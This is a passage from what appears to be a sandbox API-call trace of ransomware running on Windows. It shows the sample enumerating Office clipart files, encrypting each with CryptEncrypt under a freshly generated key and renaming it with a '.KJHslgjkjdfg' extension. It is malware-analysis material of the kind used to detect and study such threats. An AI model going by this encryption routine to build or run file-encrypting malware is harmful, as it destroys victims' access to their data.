(hFile=0x130) returned 1 [0195.820] GetProcessHeap () returned 0x2ef0000 [0195.820] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.820] GetProcessHeap () returned 0x2ef0000 [0195.820] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.820] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.kjhslgjkjdfg")) returned 1 [0195.821] CloseHandle (hObject=0x130) returned 1 [0195.821] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4fe7000, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4fe7000, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1 [0195.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.822] GetProcessHeap () returned 0x2ef0000 [0195.822] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.822] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.822] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0195.824] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.824] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.824] GetProcessHeap () returned 0x2ef0000 [0195.824] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.824] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.824] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.824] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.824] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.824] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.824] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.824] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.824] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.824] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.824] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.824] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.824] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x76ce, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x76ce, lpOverlapped=0x0) returned 1 [0195.826] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x76d0, dwBufLen=0x76d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x76d0) returned 1 [0195.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.826] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x76d0, lpOverlapped=0x0) returned 1 [0195.826] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x77a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.826] SetEndOfFile (hFile=0x130) returned 1 [0195.828] GetProcessHeap () returned 0x2ef0000 [0195.828] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.828] GetProcessHeap () returned 0x2ef0000 [0195.828] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.828] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.kjhslgjkjdfg")) returned 1 [0195.829] CloseHandle (hObject=0x130) returned 1 [0195.829] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb44f00, ftCreationTime.dwHighDateTime=0x1bd4c0c, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4eb44f00, ftLastWriteTime.dwHighDateTime=0x1bd4c0c, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01658_.WMF", cAlternateFileName="")) returned 1 [0195.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.830] GetProcessHeap () returned 0x2ef0000 [0195.830] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.830] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.830] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0195.832] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.832] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.832] GetProcessHeap () returned 0x2ef0000 [0195.833] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.833] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.833] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.833] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.833] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.833] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.833] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.833] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.833] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.833] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.833] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4604, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4604, lpOverlapped=0x0) returned 1 [0195.834] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4610, dwBufLen=0x4610 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4610) returned 1 [0195.834] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.834] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4610, lpOverlapped=0x0) returned 1 [0195.834] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.834] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x46e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.835] SetEndOfFile (hFile=0x130) returned 1 [0195.837] GetProcessHeap () returned 0x2ef0000 [0195.837] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.837] GetProcessHeap () returned 0x2ef0000 [0195.837] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.kjhslgjkjdfg")) returned 1 [0195.838] CloseHandle (hObject=0x130) returned 1 [0195.838] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02ca800, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf02ca800, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1 [0195.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.839] GetProcessHeap () returned 0x2ef0000 [0195.839] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.839] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.839] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.840] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.840] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.840] GetProcessHeap () returned 0x2ef0000 [0195.840] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.841] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.841] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.841] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.841] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.841] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.841] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.841] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.841] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.841] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.841] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x79cc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x79cc, lpOverlapped=0x0) returned 1 [0195.842] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x79d0, dwBufLen=0x79d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x79d0) returned 1 [0195.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.843] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x79d0, lpOverlapped=0x0) returned 1 [0195.843] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.843] SetEndOfFile (hFile=0x130) returned 1 [0195.844] GetProcessHeap () returned 0x2ef0000 [0195.844] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.844] GetProcessHeap () returned 0x2ef0000 [0195.844] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.844] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.kjhslgjkjdfg")) returned 1 [0195.845] CloseHandle (hObject=0x130) returned 1 [0195.845] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd62f9d00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd62f9d00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1 [0195.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.846] GetProcessHeap () returned 0x2ef0000 [0195.846] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.846] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.846] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0195.848] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.848] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.848] GetProcessHeap () returned 0x2ef0000 [0195.848] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.848] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.848] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.848] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.848] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.848] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.849] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.849] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.849] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.849] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.849] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x329e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x329e, lpOverlapped=0x0) returned 1 [0195.850] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x32a0, dwBufLen=0x32a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x32a0) returned 1 [0195.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.850] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x32a0, lpOverlapped=0x0) returned 1 [0195.850] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.850] SetEndOfFile (hFile=0x130) returned 1 [0195.852] GetProcessHeap () returned 0x2ef0000 [0195.852] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.853] GetProcessHeap () returned 0x2ef0000 [0195.853] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.kjhslgjkjdfg")) returned 1 [0195.853] CloseHandle (hObject=0x130) returned 1 [0195.853] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, 